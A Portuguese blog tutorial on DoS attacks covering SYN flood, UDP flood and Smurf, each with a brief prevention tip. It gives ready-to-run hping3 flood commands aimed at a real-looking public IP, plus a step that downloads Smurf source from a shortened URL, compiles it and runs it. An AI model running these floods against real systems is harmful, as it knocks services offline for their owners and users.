Pular para o conteúdo

Ataque DoS: Como fazer e como se prevenir

Postado em 3 minutos de leitura

Um ataque DoS (Denial of Service) tem como objetivo tornar um servidor, um serviço ou uma infraestrutura de rede indisponíveis ao sobrecarregar a largura banda do servidor ou fazendo uso excessivo dos seus recursos até que estes se esgotem.
Existe uma derivação chamada DDoS (Distributed Denial of Service) que ocorre quando um atacante utiliza várias máquinas para efetuar um ataque DoS.
Não se sabe ao certo qual a motivação para esse tipo de ataque, porém alguns motivos conhecidos são:

  • Extorsão: O atacante pede dinheiro para não derrubar o site;
  • Concorrência Corporativa: Se o site de uma empresa for derrubado, alguns serviços podem ficar indisponíveis e isso favorece o concorrente;
  • Hacktivistmo: Utilizam como ação para protestar publicamente sobre determinado assunto;
  • Enganação: Ataques DoS podem ser utilizados como distração, enganando o alvo, fazendo com que a vítima se concentre nesse ataque enquanto o atacante age no alvo verdadeiro;
  • Testes: Algumas vezes testes realizados dentro da empresa podem acidentalmente causar a indisponibilidade dos serviços.

Tipos de ataque DoS:

SYN Flood

Sobrecarrega a CPU da máquina. O atacante envia solicitações de nova conexão e o alvo abre novas conexões sem fechar as anteriores. Com isso o consumo da CPU aumenta até que os serviços parem de responder.
É possível executar esse tipo de ataque com a ferramenta hping3. Exemplo:

hping3 172.217.29.23 -S -p 80 --flood --rand-source
  • -S configura o ataque do tipo SYN Flood
  • -p 80 envia os pacotes para a porta 80 do servidor
  • --flood envia um número maior de pacotes
  • --rand-source envia pacotes com IPs de origem falsos e aleatórios

Como se proteger? Configurando para evitar alocar recursos de CPU até que o servidor receba respostas das conexões abertas. Basta adicionar a linha net.ipv4.tcp_syncookies no arquivo /etc/sysctl.conf ou executar o comando:

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

UDP Flood

Sobrecarrega a conexão de rede por meio de datagramas UDP. O atacante envia mais pacotes do que o link de rede do alvo consegue suportar.
O hping3 também suporta esse tipo de ataque. Exemplo:

hping3 172.217.29.23 --udp -p 80 --flood
  • --udp configura o tipo de ataque para UDP Flood
  • -p 80 envia os pacotes para a porta 80 do servidor
  • --flood envia um número maior de pacotes

Como se proteger? Não dá. O que pode ser feito é utilizar um link reserva e manter em segredo. Uma investigação manual para ajudar à descobrir e bloquear os IPs de origem dos ataques.

Smurf

Sobrecarrega a rede interna enviando pacotes para todas as máquinas na rede (broadcast).
Esse ataque é baseado nas ações de IP Spoofing e Broadcast. O atacante envia pacotes para todas as máquinas na rede mas utilizando como IP de origem o IP da vítima. Assim todas elas respondem enviando pacotes para o IP da vítima.

wget https://goo.gl/zphkIq
gcc smurf.c -o smurf
./smurf <target> <bcast file> <num packets> <packet delay> <packet size>

Como se proteger? Basicamente desligando o endereçamento de broadcast nos roteadores e bloqueando mensagens ICMP no firewall.

Conclusão A cada dia mais dispositivos estão conectados à internet e vulneráveis à invasão dos atacantes que utilizam esses dispositivos como ferramentas para ataques DoS. Saber como funciona e prevenir esses ataques é essencial para administradores de redes.